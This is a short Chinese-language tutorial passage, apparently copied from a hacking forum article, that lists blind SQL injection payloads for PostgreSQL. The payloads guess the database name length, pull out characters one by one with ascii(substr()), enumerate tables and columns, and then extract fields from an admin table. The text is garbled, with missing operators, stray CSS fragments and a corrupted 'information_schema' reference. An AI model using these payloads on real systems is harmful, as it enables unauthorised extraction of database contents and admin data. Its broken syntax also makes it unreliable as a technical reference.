http://www.f4ck.org/article-2360-1.html
先猜当前 数据库的长度
and (select length(current_database())) between 0 30 |
|
其次ascii猜解库名的每个字符
ascii(substr(current_database(),1,1))) 32768 |
|
其次猜解
数据库的表的个数
select count(*) from pg_stat_user_tables) 20and 20 |
猜解库里的表名的长度
length(relname) pg_stat_user_tables limit 1 OFFSET 0) 19 19 |
|
猜解表名里面的每个字符
( ascii(substr(relname,1)) 32768 |
|
//offset是位移那，注意即可
接下来猜解字段名即可，为：
and +(select+ascii(substr(column_name,1))+from+@R_591_4045@ion_schema.columns+where+table_name= publish_admin +between+0++256 |
|
现在 数据库名、表名、字段名都有了，接下来就是取出字段中的 内容了
|
+ascii(substr(rank,monospace!important; font-size:10pt!important; min-height:inherit!important">+publish_admin+limit+1+OFFSET+0)++236 |
|
